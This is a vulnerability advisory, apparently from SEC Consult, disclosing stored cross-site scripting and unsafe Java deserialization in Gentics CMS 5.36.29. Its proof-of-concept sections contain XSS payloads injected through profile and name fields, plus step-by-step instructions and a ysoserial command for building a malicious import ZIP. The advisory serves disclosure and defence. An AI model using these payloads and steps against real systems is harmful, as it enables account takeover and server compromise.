CVE-2022-30982: Multiple vulnerabilies in Gentics CMS

Gentics CMS is a solution to design and manage a website. The CMS is vulnerable to two vulnerabilities that lead to stored Cross-Site-Scripting (XSS) as well as Remote Code Execution (RCE) via unsafe deserialization of Java objects.

Vendor description

"APA-IT Informations Technologie GmbH offers offers support with a focus on media solutions and IT-outsourcing. As a subsidiary of APA – Austria Press Agency, we are responsible for the IT of the Austrian news agency as well as numerous other media enterprises.

This expertise and insight into the industry make APA-IT an expert for IT solutions for publishers and media-related companies. Existing systems and tools are constantly developed and tailored to individual customer needs. As such, APA-IT is always available – from conception to operation."

Source: https://www.gentics.com/genticscms/company_gentics.en.html

Business recommendation

The vendor provides a patch which should be installed immediately.

SEC Consult recommends to perform a thorough security review of these products conducted by security professionals to identify and resolve all security issues.

**Vulnerability overview/description****1) Multiple Stored Cross-Site Scripting Vulnerabilities (CVE-2022-30982) **

Multiple cross-site scripting vulnerabilities are present in the application. An attacker can store malicious JavaScript code in the username and profile description. The code will execute once an admin user hovers over the attacker’s username. Thus, the attacker can execute code in the context of an admin.

**2) Unsafe Java Deserialization (CVE-2022-30981) **

The Gentics CMS has an import option which will accept ZIP files. The archive includes a Java serialized object that gets deserialized on import. This can lead to code execution on the server.

A low privileged user might be able to exploit this vulnerability by chaining it together with vulnerability 1).

**Proof of concept****1) Multiple Stored Cross-Site Scripting Vulnerabilities (CVE-2022-30982) **

To trigger the first XSS, an attacker has to change the profile description to include a payload, e.g. "<script>alert(document.domain)</script)". The payload will execute once a user with access to the userlist hovers his mouse over the profile name. The event “onmouseover” will trigger following code:

JSI3_comp_list_401__ass( this, 'Properties', '<b>Malicious User Name</b><br> 
<script>alert(document.domain)</script><br><br>created:<br> 09/20/2002  
( Gentics Support)<br>last edited:<br>15:56 (Malicious Username)', '' ); 

The execution of the code leads to following function:

function JSI3_comp_list_401__ass( obj, title, text, assTitle ) 
{ 
JSI3_comp_list_401__assReset(); 
clearTimeout( JSI3_comp_list_401___ass_timeout ); 
JSI3_comp_list_401__ass_show_row( obj, title, text, assTitle ); 
} 

The malicious code, which is contained in the “text” parameter, gets passed through to the next function. There it is added to an HTML element and thus executed in the browser.

function JSI3_comp_list_401__ass_show_row( obj, title, text, assTitle ) { 
         if (!JSI3_comp_list_401__ass_show_row_tipsy[obj.id]) { 
             JSI3_comp_list_401__ass_show_row_tipsy[obj.id] = true; 
             $(obj).attr('title', '<h6>'+title+'</h6>'+text+((assTitle)?'<br>'+assTitle:'')); 
             $(obj).tipsy({ 
                     trigger: 'manual', 
                     html: true, 
                     offset: 3, 
                     delayIn: 900, 
                     delayOut: 0, 
                     opacity: 0.85, 
                     gravity: 'nww' 
              }); 
          } 
          $(obj).tipsy("show"); 
          gcn_active_tipsy = obj; 
} 

Another XSS vector can be found in the parameters “First Name” and "Last Name".

By e.g. changing the last name to 'Node" onload="alert(document.domain)', JavaScript code is added to the profile picture that is loaded in the upper right corner on every page. The following snippet shows the vulnerable line of code:

<div id="profil"> 
<div><img src="?do=11&module=system&img=profile_man.png" title="Admin Node" onload="alert(document.domain)" class="profile_avatar"></div> 

The third XSS is caused by changing the first and last name into JavaScript code without prior encoding. Changing the last name to “Last Name’+eval(alert(document.domain))+’” will cause the following code to be included in the server’s response:

<script language="JavaScript" type="text/javascript"> 
var menus = new Array(); 
var imgs = new Array(); 
menus['Admin Last Name'+eval(alert(document.domain))+''] = new Array(); 
menus['Admin Last Name'+eval(alert(document.domain))+'']['layer_pos'] = 1; 
menus['Admin Last Name'+eval(alert(document.domain))+'']['align'] = 'r';

**2) Unsafe Java Deserialization (CVE-2022-30981) **

First, a malicious ZIP archive needs to be created. The following files will need to be included within this archive:

bundlebuild.xml:

<?xml version="1.0" encoding="UTF-8"?>
<bundlebuild>
        <bundleinfo>
              <name><![CDATA[test4]]></name>
              <sourcehost><![CDATA[b1d80757b76c]]></sourcehost>
              <description><![CDATA[]]></description>
              <globalid>9d6243ab-a281-11eb-9ae3-0242ac130004</globalid>
              <globalprefix>D77D</globalprefix>
         </bundleinfo>
         <builds>
                 <build>
                       <builddate>1618996405</builddate>
                       <changelog><![CDATA[test4]]></changelog>
                       <count>0</count>
                 </build>
          </builds>
          <tables>
          </tables>
</bundlebuild>

containedobjects.xml:

<?xml version="1.0" encoding="UTF-8"?>
<objects>
</objects>

The third file has to be named “serializedjava.bin” and contains the actual payload. A demo payload can be generated with following command:

$ ysoserial FileUpload1 'write;/tmp;SECTEST' > serializedjava.bin 

Those three files have to be zipped together into an archive, which can be uploaded.

The import feature is available under Enterprise CMS -> Administration -> Import and Export. Now select New->Import and upload the malicious ZIP archive.

Wait until the import completed. Now click on “Test succeeded” in the file list. On the new screen select "Start import in background". The payload should create a file called “upload_<random_uuid>.tmp” in the folder /tmp. It will contain the string "SECTEST".

Better deserialization chains could be built to reach more interesting targets. It is very likely, that RCE could be obtained by writing an own deserialization chain.

Vulnerable / tested versions

The following product version has been tested and found to be vulnerable. Other versions are vulnerable as well, please see the vendor’s changelog in the solution section.

• Gentics CMS 5.36.29

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